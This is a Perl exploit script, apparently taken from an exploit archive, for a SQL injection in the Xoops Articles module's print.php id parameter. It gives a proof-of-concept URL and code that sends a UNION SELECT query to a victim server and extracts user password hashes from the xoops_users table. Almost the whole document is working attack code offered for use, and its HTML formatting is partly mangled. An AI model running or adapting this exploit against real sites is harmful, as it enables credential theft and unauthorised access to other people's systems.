Xoops module Articles <= 1.02 (print.php id) SQL Injection Exploit

#!/usr/bin/perl&nbsp;-w #&nbsp;Xoops&nbsp;All&nbsp;Version&nbsp;-Articles-&nbsp;Print.PHP&nbsp;(ID)&nbsp;Blind&nbsp;SQL&nbsp;Injection&nbsp;Exploit&nbsp;And&nbsp;PoC #&nbsp;Type&nbsp;: #&nbsp;SQL&nbsp;Injection #&nbsp;Release&nbsp;Date&nbsp;: #&nbsp;{2007-03-26} #&nbsp;Product&nbsp;/&nbsp;Vendor&nbsp;: #&nbsp;http://support.sirium.net/ #&nbsp;Bug&nbsp;: #&nbsp;http://localhost/script/modules/articles/print.php?id=x&nbsp;AND&nbsp;1=1&nbsp;or&nbsp;1=0 #&nbsp;PoC&nbsp;: #&nbsp;http://localhost/script/modules/articles/print.php?id=3/**/UNION/**/SELECT/**/NULL,NULL,NULL,NULL,uid,uname,pass,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL/**/FROM/**/xoops_users/**/LIMIT/**/1,1/* #&nbsp;Exploit&nbsp;: ############################################# #Exploit&nbsp;Coded&nbsp;By&nbsp;UNIQUE-KEY[UNIQUE-CRACKER]# ############################################# use&nbsp;IO::Socket; if&nbsp;(@ARGV&nbsp;!=&nbsp;3) { &nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;\" ----------------------------------- \"; &nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;\"Xoops&nbsp;All&nbsp;Version&nbsp;-Articles-&nbsp;Print.PHP&nbsp;(ID)&nbsp;Blind&nbsp;SQL&nbsp;Injection&nbsp;Exploit \"; &nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;\"----------------------------------- \"; &nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;\" UniquE-Key{UniquE-Cracker} \"; &nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;\"UniquE[at]UniquE-Key.ORG \"; &nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;\"http://UniquE-Key.ORG \"; &nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;\" ----------------------------------- \"; &nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;\" Usage:&nbsp;$0&nbsp;<server>&nbsp;<path>&nbsp;<uid> \"; &nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;\"Examp:&nbsp;$0&nbsp;www.victim.com&nbsp;/path&nbsp;1 \"; &nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;\" ----------------------------------- \"; &nbsp;&nbsp;&nbsp;&nbsp;exit&nbsp;(); } $server&nbsp;=&nbsp;$ARGV[0]; $path&nbsp;=&nbsp;$ARGV[1]; $uid&nbsp;=&nbsp;$ARGV[2]; $socket&nbsp;=&nbsp;IO::Socket::INET->new(&nbsp;Proto&nbsp;=>&nbsp;\"tcp\",&nbsp;PeerAddr&nbsp;=>&nbsp;\"$server\",&nbsp;&nbsp;PeerPort&nbsp;=>&nbsp;\"80\"); printf&nbsp;$socket&nbsp;(\"GET&nbsp;%s/modules/articles/print.php?id=3/**/UNION/**/SELECT/**/NULL,NULL,NULL,NULL,NULL,pass,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL/**/FROM/**/xoops_users/**/WHERE/**/uid=$uid/*&nbsp;HTTP/1.0 Host:&nbsp;%s Accept:&nbsp;*/* Connection:&nbsp;close \", $path,$server,$uid); while(<$socket>) { &nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(/>(w{32})</)&nbsp;{&nbsp;print&nbsp;\" ID&nbsp;\'$uid\'&nbsp;User&nbsp;Password&nbsp;: $1 \";&nbsp;} } #&nbsp;Tested&nbsp;: #&nbsp;All&nbsp;Version #&nbsp;Author&nbsp;: #&nbsp;UniquE-Key{UniquE-Cracker} #&nbsp;UniquE(at)UniquE-Key.Org #&nbsp;http://www.UniquE-Key.Org &nbsp;